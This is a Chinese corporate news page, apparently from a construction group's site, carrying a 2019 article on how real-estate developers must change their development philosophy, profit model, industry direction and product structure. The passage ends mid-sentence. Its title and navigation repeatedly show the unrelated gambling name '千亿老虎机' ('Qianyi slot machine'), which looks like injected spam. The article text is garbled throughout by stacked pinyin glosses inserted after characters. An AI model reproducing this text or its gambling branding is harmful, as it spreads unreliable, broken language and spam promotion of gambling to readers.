千亿老虎机

中(zhong)建网群(qun) | | 公(gong)司(si)办公(gong)平台 | | |
 
千亿老虎机
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
千亿老虎机>> 千亿老虎机>>行业新闻
新时代房企发展面临四维转型
发布日期:2019-04-08 字号:[ ]

  随(sui)着(zhe)房地产市场整体环境的(de)(de)(de)变化,传统(tong)的(de)(de)(de)以获取土地为(wei)中心(xin)的(de)(de)(de)赢利(li)模(mo)(mo)式越来越难以支撑房地产企(qi)业的(de)(de)(de)持(chi)续发(fa)(fa)展。这就要求(qiu)房地产开发(fa)(fa)企(qi)业根据企(qi)业所控制或拥有的(de)(de)(de)资源与核心(xin)竞争能力(li)等对传统(tong)的(de)(de)(de)赢利(li)模(mo)(mo)式进行创新与转型,促进企(qi)业的(de)(de)(de)持(chi)续发(fa)(fa)展。

  十九大报告提出,坚持(chi)“房(fang)子(zi)是用来住(zhu)的(de),不是用来炒的(de)”的(de)定位,意味(wei)着房(fang)地(di)产(chan)(chan)(chan)(chan)功能将发(fa)生转(zhuan)变(bian),由(you)其过(guo)度衍生的(de)投资投机(ji)属(shu)性回归到基本的(de)居住(zhu)属(shu)性。当前,中(zhong)国正迎来第三次消(xiao)(xiao)费结(jie)构(gou)升级,消(xiao)(xiao)费者对(dui)于品质(zhi)生活的(de)强烈(lie)需求(qiu),将是新(xin)(xin)时(shi)(shi)代(dai)房(fang)地(di)产(chan)(chan)(chan)(chan)高质(zhi)量发(fa)展(zhan)的(de)最大驱动力。同时(shi)(shi),消(xiao)(xiao)费结(jie)构(gou)升级也将使房(fang)地(di)产(chan)(chan)(chan)(chan)市场(chang)绿色产(chan)(chan)(chan)(chan)品的(de)增值效应(ying)更加明(ming)显(xian)。面(mian)对(dui)宏观(guan)经济(ji)的(de)巨(ju)大变(bian)革,房(fang)地(di)产(chan)(chan)(chan)(chan)行业(ye)发(fa)展(zhan)即将进(jin)入(ru)新(xin)(xin)时(shi)(shi)代(dai),房(fang)地(di)产(chan)(chan)(chan)(chan)开发(fa)企业(ye)的(de)发(fa)展(zhan)战(zhan)略也将面(mian)临开发(fa)理念、盈利模式、产(chan)(chan)(chan)(chan)业(ye)方向、产(chan)(chan)(chan)(chan)品结(jie)构(gou)等多维(wei)转(zhuan)型(xing)。

  转变(bian)开发理念

  树立城(cheng)(cheng)(cheng)市(shi)运(yun)营(ying)商(shang)的(de)(de)(de)(de)理念(nian)。所谓城(cheng)(cheng)(cheng)市(shi)运(yun)营(ying)商(shang),是指围绕城(cheng)(cheng)(cheng)市(shi)的(de)(de)(de)(de)总体发(fa)(fa)展(zhan)目标(biao)和(he)发(fa)(fa)展(zhan)规划,充(chong)分(fen)运(yun)用市(shi)场(chang)化的(de)(de)(de)(de)机(ji)(ji)制和(he)手段,通过发(fa)(fa)挥企(qi)(qi)业(ye)(ye)(ye)产(chan)业(ye)(ye)(ye)优势和(he)资源优势,结合(he)城(cheng)(cheng)(cheng)市(shi)发(fa)(fa)展(zhan)的(de)(de)(de)(de)特(te)殊机(ji)(ji)遇(yu),在(zai)满足城(cheng)(cheng)(cheng)市(shi)居民需求(qiu)的(de)(de)(de)(de)同(tong)时,使自己的(de)(de)(de)(de)开发(fa)(fa)项(xiang)目能(neng)够成为(wei)城(cheng)(cheng)(cheng)市(shi)发(fa)(fa)展(zhan)建(jian)(jian)(jian)设(she)(she)的(de)(de)(de)(de)有机(ji)(ji)组成部分(fen)的(de)(de)(de)(de)经营(ying)开发(fa)(fa)商(shang)。当前房(fang)地(di)产(chan)行业(ye)(ye)(ye)已(yi)经进入了(le)以资产(chan)管(guan)理为(wei)主(zhu)的(de)(de)(de)(de)阶段。随着(zhe)城(cheng)(cheng)(cheng)市(shi)发(fa)(fa)展(zhan)脚步的(de)(de)(de)(de)加快,政府(fu)在(zai)土地(di)出(chu)让时也附(fu)加了(le)如产(chan)业(ye)(ye)(ye)化等运(yun)营(ying)上的(de)(de)(de)(de)要求(qiu)。同(tong)时,一(yi)些具有新(xin)(xin)(xin)概(gai)念(nian)、新(xin)(xin)(xin)定位(wei)、新(xin)(xin)(xin)功能(neng)的(de)(de)(de)(de)新(xin)(xin)(xin)城(cheng)(cheng)(cheng)建(jian)(jian)(jian)设(she)(she)也在(zai)加大布局建(jian)(jian)(jian)设(she)(she)。如雄安新(xin)(xin)(xin)区的(de)(de)(de)(de)建(jian)(jian)(jian)设(she)(she)、粤港澳大湾区世(shi)界城(cheng)(cheng)(cheng)市(shi)群建(jian)(jian)(jian)设(she)(she)等,都为(wei)房(fang)地(di)产(chan)企(qi)(qi)业(ye)(ye)(ye)提供了(le)参与城(cheng)(cheng)(cheng)市(shi)空(kong)(kong)间再造的(de)(de)(de)(de)机(ji)(ji)遇(yu)。在(zai)坚持“房(fang)住不(bu)炒”的(de)(de)(de)(de)前提下,房(fang)企(qi)(qi)把(ba)发(fa)(fa)展(zhan)模式向城(cheng)(cheng)(cheng)市(shi)运(yun)营(ying)商(shang)转变(bian),最终能(neng)够把(ba)经济(ji)效(xiao)益(yi)和(he)社会(hui)效(xiao)益(yi)有机(ji)(ji)统(tong)一(yi)起来,从而获取更多的(de)(de)(de)(de)发(fa)(fa)展(zhan)空(kong)(kong)间。

  向(xiang)土(tu)地(di)综合经(jing)营者(zhe)转变(bian)(bian)。在房(fang)(fang)地(di)产(chan)(chan)业发(fa)展初期,房(fang)(fang)地(di)产(chan)(chan)企业比(bi)较(jiao)重(zhong)视(shi)(shi)土(tu)地(di)获取与(yu)开(kai)发(fa)、房(fang)(fang)地(di)产(chan)(chan)产(chan)(chan)品的(de)(de)(de)(de)(de)生产(chan)(chan)和(he)销售,而忽视(shi)(shi)了对产(chan)(chan)品规划和(he)物(wu)业管理等等。经(jing)过二十多(duo)年的(de)(de)(de)(de)(de)发(fa)展,房(fang)(fang)地(di)产(chan)(chan)商(shang)品化程度(du)已大大提高(gao),企业间竞争也越(yue)来越(yue)激烈(lie),消费者(zhe)对房(fang)(fang)地(di)产(chan)(chan)商(shang)品的(de)(de)(de)(de)(de)结构、建(jian)筑风格与(yu)环境(jing)以及物(wu)业管理等方面提出了更高(gao)的(de)(de)(de)(de)(de)要(yao)求。尤其是中(zhong)央提出加快住(zhu)房(fang)(fang)保障体(ti)(ti)系(xi)建(jian)设,大力发(fa)展住(zhu)房(fang)(fang)租赁市场(chang)的(de)(de)(de)(de)(de)发(fa)展方向(xiang),房(fang)(fang)地(di)产(chan)(chan)开(kai)发(fa)企业从单(dan)纯的(de)(de)(de)(de)(de)土(tu)地(di)开(kai)发(fa)者(zhe)向(xiang)土(tu)地(di)经(jing)营者(zhe)转变(bian)(bian),从而改变(bian)(bian)开(kai)发(fa)的(de)(de)(de)(de)(de)短期行为模式,最大限度(du)地(di)体(ti)(ti)现土(tu)地(di)的(de)(de)(de)(de)(de)价值(zhi),并(bing)给公(gong)司带来平稳的(de)(de)(de)(de)(de)现金流,保证公(gong)司的(de)(de)(de)(de)(de)持续性发(fa)展。

  参与城(cheng)市(shi)更新与空(kong)(kong)间再(zai)(zai)利用。城(cheng)市(shi)空(kong)(kong)间再(zai)(zai)利用是指对城(cheng)市(shi)中心区的(de)(de)(de)旧楼进行改造(zao)再(zai)(zai)包装(zhuang)的(de)(de)(de)工程。这种房(fang)(fang)(fang)地(di)(di)(di)产商(shang)业(ye)模式(shi)在(zai)欧(ou)美(mei)等(deng)发(fa)达国家早已成熟,但在(zai)国内由于(yu)政府和发(fa)展(zhan)商(shang)醉心于(yu)造(zao)新城(cheng),因此在(zai)这方(fang)面相(xiang)对比(bi)较滞后(hou)。随(sui)(sui)着房(fang)(fang)(fang)地(di)(di)(di)产逐(zhu)步进入(ru)存(cun)量(liang)房(fang)(fang)(fang)时代,新增土(tu)地(di)(di)(di)供应量(liang)逐(zhu)步紧(jin)缩,盘(pan)活(huo)存(cun)量(liang)土(tu)地(di)(di)(di)是未(wei)来发(fa)展(zhan)的(de)(de)(de)重点方(fang)向之一(yi)。房(fang)(fang)(fang)地(di)(di)(di)产开(kai)(kai)发(fa)企业(ye)从单纯的(de)(de)(de)索取(qu)土(tu)地(di)(di)(di)向城(cheng)市(shi)空(kong)(kong)间的(de)(de)(de)再(zai)(zai)利用转变,从而在(zai)竞(jing)争激烈的(de)(de)(de)土(tu)地(di)(di)(di)争夺(duo)之外打(da)开(kai)(kai)一(yi)个新的(de)(de)(de)发(fa)展(zhan)空(kong)(kong)间。随(sui)(sui)着国家的(de)(de)(de)土(tu)地(di)(di)(di)政策从紧(jin),这将(jiang)成为(wei)房(fang)(fang)(fang)地(di)(di)(di)产开(kai)(kai)发(fa)企业(ye)新的(de)(de)(de)利润(run)增长(zhang)点。近年(nian)来,上(shang)海通(tong)过城(cheng)市(shi)更新盘(pan)活(huo)大量(liang)工业(ye)仓(cang)(cang)储用地(di)(di)(di)。不(bu)少老厂房(fang)(fang)(fang)、老仓(cang)(cang)库在(zai)更新改造(zao)后(hou),都(dou)焕发(fa)了新的(de)(de)(de)活(huo)力和生机,土(tu)地(di)(di)(di)价值也得到了体现。

  转变盈利(li)模(mo)式

  随着房(fang)(fang)地产市场整(zheng)体环境的(de)(de)变化,传(chuan)(chuan)统(tong)的(de)(de)以获取土地为中心的(de)(de)赢利模式越来越难以支撑房(fang)(fang)地产企(qi)业的(de)(de)持续(xu)发(fa)(fa)展(zhan)。这(zhei)就(jiu)要求房(fang)(fang)地产开发(fa)(fa)企(qi)业根据企(qi)业所控(kong)制或拥有(you)的(de)(de)资源与核心竞争能力等对传(chuan)(chuan)统(tong)的(de)(de)赢利模式进(jin)(jin)行创新(xin)与转型,促进(jin)(jin)企(qi)业的(de)(de)持续(xu)发(fa)(fa)展(zhan)。

  向低成(cheng)本(ben)(ben)(ben)规(gui)(gui)模(mo)化(hua)(hua)发(fa)(fa)(fa)展战(zhan)略(lve)(lve)转(zhuan)变。房(fang)地(di)产(chan)(chan)企业(ye)(ye)在(zai)(zai)发(fa)(fa)(fa)展过程(cheng)中单(dan)独依靠圈地(di)就能获取暴利的(de)(de)时(shi)代已经过去,因(yin)此(ci)低成(cheng)本(ben)(ben)(ben)的(de)(de)策略(lve)(lve)将是(shi)保(bao)持企业(ye)(ye)具有(you)核心竞争力的(de)(de)一种重(zhong)要(yao)策略(lve)(lve)。针对(dui)开发(fa)(fa)(fa)周期长、资金流(liu)量大(da)、流(liu)程(cheng)多(duo)的(de)(de)房(fang)地(di)产(chan)(chan)企业(ye)(ye)来说,需(xu)要(yao)拥有(you)严格的(de)(de)成(cheng)本(ben)(ben)(ben)管理(li)制(zhi)度,制(zhi)定科学(xue)合理(li)的(de)(de)管理(li)方法和管理(li)程(cheng)序,特别注(zhu)重(zhong)规(gui)(gui)模(mo)经济发(fa)(fa)(fa)展对(dui)降低企业(ye)(ye)成(cheng)本(ben)(ben)(ben)的(de)(de)重(zhong)要(yao)影响。在(zai)(zai)房(fang)地(di)产(chan)(chan)资产(chan)(chan)化(hua)(hua)和消费结构升级的(de)(de)双重(zhong)压力下,房(fang)地(di)产(chan)(chan)行(xing)业(ye)(ye)市场(chang)集中度也(ye)不断提(ti)升,越来越多(duo)的(de)(de)中小房(fang)企将被迫面(mian)(mian)临被收购的(de)(de)境遇,房(fang)地(di)产(chan)(chan)行(xing)业(ye)(ye)呈(cheng)现规(gui)(gui)模(mo)化(hua)(hua)聚集与并购频发(fa)(fa)(fa)的(de)(de)局面(mian)(mian)。在(zai)(zai)成(cheng)本(ben)(ben)(ben)控制(zhi)方面(mian)(mian),大(da)型(xing)房(fang)企可以凭(ping)借(jie)规(gui)(gui)模(mo)化(hua)(hua)优势,来控制(zhi)开发(fa)(fa)(fa)及运营成(cheng)本(ben)(ben)(ben),规(gui)(gui)模(mo)化(hua)(hua)达(da)到一定程(cheng)度后也(ye)有(you)利于降低成(cheng)本(ben)(ben)(ben)。因(yin)此(ci),房(fang)地(di)产(chan)(chan)企业(ye)(ye)在(zai)(zai)发(fa)(fa)(fa)展过程(cheng)中需(xu)要(yao)准确掌握行(xing)业(ye)(ye)发(fa)(fa)(fa)展趋势,在(zai)(zai)充分发(fa)(fa)(fa)挥规(gui)(gui)模(mo)化(hua)(hua)优势的(de)(de)同时(shi),积(ji)极(ji)向低负(fu)债、低杠杆、低成(cheng)本(ben)(ben)(ben)、高周转(zhuan)的(de)(de)“三低一高”发(fa)(fa)(fa)展模(mo)式(shi)进行(xing)转(zhuan)变。

  向持(chi)有型物业(ye)(ye)运营转(zhuan)变(bian)。随着第三(san)产(chan)(chan)(chan)(chan)(chan)业(ye)(ye)的(de)(de)加速发(fa)(fa)展(zhan),市(shi)场(chang)对商业(ye)(ye)、写字楼等(deng)物业(ye)(ye)的(de)(de)需(xu)求将迎(ying)来快速释放过程,从而为持(chi)有型物业(ye)(ye)提(ti)供了广阔(kuo)前景和(he)良好(hao)机(ji)遇。未(wei)来房(fang)(fang)(fang)(fang)地(di)(di)产(chan)(chan)(chan)(chan)(chan)市(shi)场(chang)将逐步进入存量房(fang)(fang)(fang)(fang)时(shi)代,房(fang)(fang)(fang)(fang)企(qi)也由买(mai)地(di)(di)卖房(fang)(fang)(fang)(fang)以(yi)赚取资产(chan)(chan)(chan)(chan)(chan)升值收益的(de)(de)重资产(chan)(chan)(chan)(chan)(chan)模(mo)式走(zou)向赚取增值服务收益为主的(de)(de)轻(qing)资产(chan)(chan)(chan)(chan)(chan)模(mo)式。随着房(fang)(fang)(fang)(fang)地(di)(di)产(chan)(chan)(chan)(chan)(chan)开发(fa)(fa)企(qi)业(ye)(ye)的(de)(de)资金(jin)实力大大增强,不(bu)少(shao)房(fang)(fang)(fang)(fang)地(di)(di)产(chan)(chan)(chan)(chan)(chan)开发(fa)(fa)商将可持(chi)有物业(ye)(ye)纳入未(wei)来发(fa)(fa)展(zhan)的(de)(de)战略规划(hua)。房(fang)(fang)(fang)(fang)地(di)(di)产(chan)(chan)(chan)(chan)(chan)开发(fa)(fa)企(qi)业(ye)(ye)投资商业(ye)(ye)地(di)(di)产(chan)(chan)(chan)(chan)(chan)并进行持(chi)有,为企(qi)业(ye)(ye)提(ti)供长期(qi)稳定的(de)(de)现金(jin)流,可以(yi)有效提(ti)高房(fang)(fang)(fang)(fang)企(qi)抵抗房(fang)(fang)(fang)(fang)地(di)(di)产(chan)(chan)(chan)(chan)(chan)行业(ye)(ye)周(zhou)期(qi)性风险(xian)的(de)(de)能力。

  向(xiang)“轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)”运(yun)(yun)(yun)营转型。从重(zhong)(zhong)资(zi)(zi)(zi)(zi)产(chan)(chan)模式(shi)转向(xiang)轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)模式(shi),从以获取(qu)资(zi)(zi)(zi)(zi)产(chan)(chan)升值收益为主,转向(xiang)以获取(qu)增值服(fu)务收益为主,也(ye)(ye)是房(fang)(fang)地(di)产(chan)(chan)开发(fa)战略转型方向(xiang)之(zhi)一(yi)。房(fang)(fang)地(di)产(chan)(chan)市(shi)场(chang)宏观(guan)调控政策的(de)影响下(xia),房(fang)(fang)地(di)产(chan)(chan)价格上升速度明显(xian)放缓(huan),行(xing)业利(li)润率、杠(gang)杆率逐(zhu)步下(xia)滑。在(zai)此市(shi)场(chang)背(bei)景下(xia),一(yi)些大(da)型房(fang)(fang)地(di)产(chan)(chan)企(qi)业也(ye)(ye)在(zai)纷(fen)纷(fen)提前布局“轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)”。实现轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)运(yun)(yun)(yun)营,需要企(qi)业对(dui)整条供应链(lian)有(you)较(jiao)强(qiang)的(de)把控能力。当前房(fang)(fang)地(di)产(chan)(chan)市(shi)场(chang)的(de)“轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)化”尚没有(you)一(yi)个(ge)固定的(de)模式(shi),各大(da)企(qi)业也(ye)(ye)在(zai)根据自身优势积极探索“轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)”业务。从未来(lai)发(fa)展(zhan)(zhan)趋势来(lai)看(kan),这一(yi)轮房(fang)(fang)地(di)产(chan)(chan)周(zhou)期(qi)的(de)高利(li)润、高杠(gang)杆的(de)黄金时期(qi)已(yi)经过去。从欧美(mei)发(fa)达(da)国(guo)家(jia)房(fang)(fang)地(di)产(chan)(chan)市(shi)场(chang)经验来(lai)看(kan),“轻(qing)资(zi)(zi)(zi)(zi)产(chan)(chan)”运(yun)(yun)(yun)营是房(fang)(fang)地(di)产(chan)(chan)企(qi)业发(fa)展(zhan)(zhan)的(de)重(zhong)(zhong)要趋势之(zhi)一(yi),资(zi)(zi)(zi)(zi)产(chan)(chan)运(yun)(yun)(yun)营能力、服(fu)务能力将是下(xia)一(yi)轮房(fang)(fang)地(di)产(chan)(chan)周(zhou)期(qi)中企(qi)业重(zhong)(zhong)要的(de)核心竞(jing)争(zheng)力。

  转变产业方向

  泛产业(ye)(ye)(ye)地(di)(di)(di)(di)(di)产开(kai)(kai)发。在房(fang)(fang)地(di)(di)(di)(di)(di)产市(shi)场(chang)供给侧改(gai)革的大(da)背景下,传统(tong)房(fang)(fang)地(di)(di)(di)(di)(di)产企(qi)(qi)业(ye)(ye)(ye)将(jiang)进(jin)一步加快转(zhuan)型(xing)(xing),以房(fang)(fang)地(di)(di)(di)(di)(di)产开(kai)(kai)发为(wei)基础,向(xiang)(xiang)物(wu)业(ye)(ye)(ye)、商旅、体育(yu)(yu)、金(jin)(jin)融等(deng)(deng)相关(guan)联行业(ye)(ye)(ye)延伸(shen)价值链,成为(wei)主要房(fang)(fang)地(di)(di)(di)(di)(di)产开(kai)(kai)发企(qi)(qi)业(ye)(ye)(ye)转(zhuan)型(xing)(xing)发展的重(zhong)要趋势。在过(guo)(guo)去几年(nian)(nian),传统(tong)房(fang)(fang)地(di)(di)(di)(di)(di)产企(qi)(qi)业(ye)(ye)(ye)的转(zhuan)型(xing)(xing)探索主要分为(wei)以下四类:第(di)(di)一,提(ti)供社区深服务(wu),从前期开(kai)(kai)发向(xiang)(xiang)售后的服务(wu)延伸(shen)。例如(ru)万科(ke)物(wu)业(ye)(ye)(ye)服务(wu)全面(mian)市(shi)场(chang)化,新城地(di)(di)(di)(di)(di)产利用互联网平台提(ti)供社区服务(wu)等(deng)(deng);第(di)(di)二,全面(mian)布(bu)(bu)局金(jin)(jin)融业(ye)(ye)(ye)务(wu)。如(ru)万科(ke)涉(she)足(zu)资(zi)产证(zheng)券化,公(gong)(gong)募REITs基金(jin)(jin);恒大(da)通过(guo)(guo)收购中(zhong)新大(da)人寿,盛京(jing)银行股份涉(she)足(zu)金(jin)(jin)融业(ye)(ye)(ye)等(deng)(deng)。第(di)(di)三,布(bu)(bu)局教育(yu)(yu)、医疗、养老(lao)、体育(yu)(yu)等(deng)(deng)其他综合(he)行业(ye)(ye)(ye)。如(ru)远(yuan)洋(yang)地(di)(di)(di)(di)(di)产涉(she)足(zu)高端私人诊所等(deng)(deng)。第(di)(di)四,“房(fang)(fang)地(di)(di)(di)(di)(di)产+”的泛产业(ye)(ye)(ye)地(di)(di)(di)(di)(di)产开(kai)(kai)发。如(ru)鲁能集团2015年(nian)(nian)提(ti)出的泛产业(ye)(ye)(ye)地(di)(di)(di)(di)(di)产七(qi)大(da)产品(pin)线。未来(lai)房(fang)(fang)地(di)(di)(di)(di)(di)产行业(ye)(ye)(ye)不再是(shi)单一的行业(ye)(ye)(ye),而是(shi)一种(zhong)泛产业(ye)(ye)(ye)发展模式,房(fang)(fang)地(di)(di)(di)(di)(di)产企(qi)(qi)业(ye)(ye)(ye)将(jiang)会(hui)融合(he)零售、办公(gong)(gong)、物(wu)流(liu)、仓(cang)储、养老(lao)、公(gong)(gong)共(gong)服务(wu)等(deng)(deng)等(deng)(deng)不同细分领域,同时向(xiang)(xiang)金(jin)(jin)融、医疗、体育(yu)(yu)等(deng)(deng)房(fang)(fang)地(di)(di)(di)(di)(di)产之(zhi)外的行业(ye)(ye)(ye)拓展。

  关(guan)注特(te)色(se)小城(cheng)镇(zhen)(zhen)发(fa)(fa)展。2018年(nian)中国(guo)城(cheng)镇(zhen)(zhen)化(hua)率(lv)已经达到(dao)(dao)59.58%,已经进入了城(cheng)镇(zhen)(zhen)化(hua)减速(su)(su)期。根据发(fa)(fa)达国(guo)家经验,这(zhei)一(yi)发(fa)(fa)展阶段将(jiang)逐步(bu)形成都市圈和城(cheng)市群,环(huan)核心(xin)城(cheng)市的(de)(de)(de)卫星(xing)城(cheng)及(ji)卫星(xing)镇(zhen)(zhen)将(jiang)得到(dao)(dao)核心(xin)城(cheng)市溢出的(de)(de)(de)产(chan)业(ye)和人(ren)口资源(yuan),从而实现(xian)快速(su)(su)发(fa)(fa)展。2016年(nian),住建(jian)(jian)部、发(fa)(fa)改(gai)委和财(cai)政(zheng)部三(san)大部委联合发(fa)(fa)布通(tong)知,到(dao)(dao)2020年(nian),将(jiang)培育1000个左右各(ge)具特(te)色(se)、富有活(huo)力的(de)(de)(de)特(te)色(se)小镇(zhen)(zhen),引领(ling)带动(dong)全(quan)国(guo)小城(cheng)镇(zhen)(zhen)建(jian)(jian)设。在当前(qian)宏(hong)观(guan)政(zheng)策环(huan)境日益趋(qu)紧(jin)、房(fang)地产(chan)市场(chang)竞争日趋(qu)激烈的(de)(de)(de)背景(jing)下,大城(cheng)市+特(te)色(se)小镇(zhen)(zhen)的(de)(de)(de)发(fa)(fa)展模(mo)式(shi)有望成为推动(dong)区域经济发(fa)(fa)展的(de)(de)(de)一(yi)种新模(mo)式(shi),房(fang)地产(chan)企业(ye)应从发(fa)(fa)展战(zhan)略的(de)(de)(de)高度介入特(te)色(se)小镇(zhen)(zhen)这(zhei)一(yi)城(cheng)镇(zhen)(zhen)化(hua)模(mo)式(shi),从传(chuan)统的(de)(de)(de)房(fang)企变身产(chan)业(ye)地产(chan)运营商,实现(xian)自身转型升(sheng)级。

  注重绿(lv)色(se)(se)(se)(se)地(di)(di)产(chan)发(fa)展。生态文明建(jian)(jian)设理(li)念深入人心,绿(lv)色(se)(se)(se)(se)发(fa)展成(cheng)为(wei)国策(ce)。尤其(qi)是当(dang)前正面(mian)临第三次消费结(jie)构升(sheng)级,使得房(fang)地(di)(di)产(chan)市场绿(lv)色(se)(se)(se)(se)产(chan)品的增值效(xiao)应凸(tu)显。在推(tui)(tui)进新型(xing)(xing)(xing)城镇化(hua)和向可持(chi)续发(fa)展的经济(ji)转(zhuan)型(xing)(xing)(xing)过程(cheng)中,建(jian)(jian)筑(zhu)行业将成(cheng)为(wei)影响城市经济(ji)转(zhuan)型(xing)(xing)(xing)的决定(ding)性(xing)因素。从(cong)2013年(nian)(nian)国办(ban)发(fa)1号(hao)文《绿(lv)色(se)(se)(se)(se)建(jian)(jian)筑(zhu)行动方案》,到2014年(nian)(nian)3月《国家(jia)新型(xing)(xing)(xing)城镇化(hua)规划(2014-2020年(nian)(nian))》提出到2020年(nian)(nian)城镇绿(lv)色(se)(se)(se)(se)建(jian)(jian)筑(zhu)占(zhan)新建(jian)(jian)建(jian)(jian)筑(zhu)比重要达到50%,再(zai)到新版《绿(lv)色(se)(se)(se)(se)建(jian)(jian)筑(zhu)评价标(biao)准》正式实施,从(cong)政(zheng)府层面(mian)推(tui)(tui)行绿(lv)色(se)(se)(se)(se)地(di)(di)产(chan)已经成(cheng)为(wei)房(fang)地(di)(di)产(chan)行业发(fa)展的大方向。

  转变产品结构(gou)

  现在的(de)房(fang)地(di)(di)产(chan)产(chan)品(pin)(pin),无(wu)论是(shi)结构设计,还(hai)是(shi)功能(neng)分(fen)布(bu),与几年(nian)前都不(bu)可(ke)同(tong)日而(er)语。过去(qu)(qu)十几年(nian)来,房(fang)地(di)(di)产(chan)产(chan)品(pin)(pin)形态(tai)发生了巨大的(de)变(bian)化,而(er)且(qie)这(zhei)种加速升级(ji)换代的(de)趋势还(hai)会持(chi)续(xu)下去(qu)(qu)。这(zhei)种升级(ji)是(shi)房(fang)地(di)(di)产(chan)行业本身(shen)发展的(de)必然(ran)趋势,也是(shi)中国进(jin)入新时(shi)代以后,我国社会主要矛盾的(de)改变(bian)对房(fang)地(di)(di)产(chan)企业的(de)要求。未来我国商品(pin)(pin)房(fang)市场(chang)、商业地(di)(di)产(chan)市场(chang),市场(chang)竞争会越来越激(ji)烈,产(chan)品(pin)(pin)升级(ji)换代的(de)速度(du)会进(jin)一步加快。

  功(gong)能多(duo)(duo)样化。所谓产(chan)品(pin)功(gong)能多(duo)(duo)样化是(shi)(shi)指一(yi)个房地产(chan)项目要兼具多(duo)(duo)种使用功(gong)能。例如,传统住宅项目的主要(甚至是(shi)(shi)唯一(yi))的功(gong)能就是(shi)(shi)居(ju)住。事实上,除(chu)了(le)(le)居(ju)住需求和最基本的购物需求外,居(ju)者还(hai)有(you)教育、健身、社(she)(she)(she)(she)交等(deng)其(qi)它(ta)需求。越来(lai)越多(duo)(duo)的房地产(chan)企(qi)业开(kai)始在做好(hao)产(chan)品(pin)硬件的同时,注重了(le)(le)社(she)(she)(she)(she)区(qu)(qu)软环境(jing)的打(da)造,在社(she)(she)(she)(she)区(qu)(qu)、写(xie)字(zi)楼宇(yu)中设计(ji)了(le)(le)空间共享、交流互(hu)动等(deng)和谐元(yuan)素,改善社(she)(she)(she)(she)区(qu)(qu)日渐疏远(yuan)的邻里关系,激(ji)发(fa)社(she)(she)(she)(she)区(qu)(qu)活力,提高(gao)产(chan)品(pin)品(pin)位(wei)和吸(xi)引(yin)力。如,社(she)(she)(she)(she)区(qu)(qu)中晨练场所、健身会馆(guan)、高(gao)端读书会所等(deng)公共共享空间。此外,近(jin)期(qi)比较热的社(she)(she)(she)(she)区(qu)(qu)O2O也是(shi)(shi)为(wei)了(le)(le)满足住户(hu)多(duo)(duo)样化需求。此外,住宅不(bu)仅是(shi)(shi)栖(qi)息之所,更是(shi)(shi)生活平台。鲁能开(kai)发(fa)的鲁能7号产(chan)品(pin),为(wei)社(she)(she)(she)(she)区(qu)(qu)有(you)机打(da)造了(le)(le)体育元(yuan)素,吸(xi)引(yin)了(le)(le)更多(duo)(duo)客户(hu)群(qun)体的关注。

  需求智能(neng)(neng)化。在社会信(xin)息(xi)化进程日(ri)(ri)益发展的(de)(de)今天(tian),人(ren)们对(dui)(dui)自己住宅(zhai)的(de)(de)关注已不仅仅局限于居室面积、周(zhou)边(bian)自然环境、交通等(deng)(deng)方面,而是(shi)把更多的(de)(de)兴趣和注意力(li)放在与外界沟通、信(xin)息(xi)服务、安(an)全(quan)防范、生态(tai)智能(neng)(neng)等(deng)(deng)方面。随着地(di)产(chan)(chan)(chan)+科(ke)(ke)(ke)技(ji)的(de)(de)融合,房(fang)(fang)地(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)科(ke)(ke)(ke)技(ji)化趋(qu)势日(ri)(ri)渐明显。人(ren)们对(dui)(dui)智能(neng)(neng)、生态(tai)、节能(neng)(neng)、恒(heng)温、恒(heng)湿、恒(heng)氧等(deng)(deng)科(ke)(ke)(ke)技(ji)元素的(de)(de)青睐(lai),将会加速房(fang)(fang)地(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)的(de)(de)转型(xing)升级(ji)。目前,房(fang)(fang)地(di)产(chan)(chan)(chan)行业内明确提出“绿色地(di)产(chan)(chan)(chan)战(zhan)略”的(de)(de)房(fang)(fang)企(qi)有二十(shi)多家(jia)。生态(tai)、节能(neng)(neng)等(deng)(deng)科(ke)(ke)(ke)技(ji)概念还是(shi)当下(xia)少数楼(lou)盘(pan)的(de)(de)亮点(dian)。但是(shi)在不久的(de)(de)将来,随着生态(tai)理念深(shen)入(ru)人(ren)心,这些都(dou)可能(neng)(neng)成为房(fang)(fang)地(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)的(de)(de)标(biao)准配置。按现(xian)在日(ri)(ri)新月异的(de)(de)科(ke)(ke)(ke)技(ji)进步(bu)速度,或(huo)许在未(wei)来几年内,融合智能(neng)(neng)手机(ji)、智能(neng)(neng)家(jia)居的(de)(de)物联网概念将会成为房(fang)(fang)地(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)新趋(qu)势。

  建设(she)标(biao)(biao)(biao)(biao)准(zhun)(zhun)化(hua)。房地产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)标(biao)(biao)(biao)(biao)准(zhun)(zhun)化(hua)是指针对同一(yi)(yi)条房地产(chan)(chan)(chan)产(chan)(chan)(chan)品(pin)(pin)线,研(yan)究并(bing)固化(hua)形成相对统一(yi)(yi)的产(chan)(chan)(chan)品(pin)(pin)设(she)计、配置标(biao)(biao)(biao)(biao)准(zhun)(zhun),并(bing)应用于同一(yi)(yi)产(chan)(chan)(chan)品(pin)(pin)系列(lie)(lie)的不(bu)同项(xiang)目(mu)中,以实(shi)(shi)现产(chan)(chan)(chan)品(pin)(pin)标(biao)(biao)(biao)(biao)准(zhun)(zhun)的复(fu)制应用,提(ti)高产(chan)(chan)(chan)品(pin)(pin)质(zhi)量和开发效率。标(biao)(biao)(biao)(biao)准(zhun)(zhun)化(hua)开发模式就是同一(yi)(yi)产(chan)(chan)(chan)品(pin)(pin)线和产(chan)(chan)(chan)品(pin)(pin)系列(lie)(lie)下的不(bu)同项(xiang)目(mu),部分产(chan)(chan)(chan)品(pin)(pin)模块(kuai),比如(ru)大门、围墙(qiang)、会所、户型(xing)、外立面(mian)等,在多个项(xiang)目(mu)上(shang)进行复(fu)制。产(chan)(chan)(chan)品(pin)(pin)标(biao)(biao)(biao)(biao)准(zhun)(zhun)化(hua)能(neng)够实(shi)(shi)现资金快速周转(zhuan)(zhuan)(zhuan),提(ti)升企业绩效。企业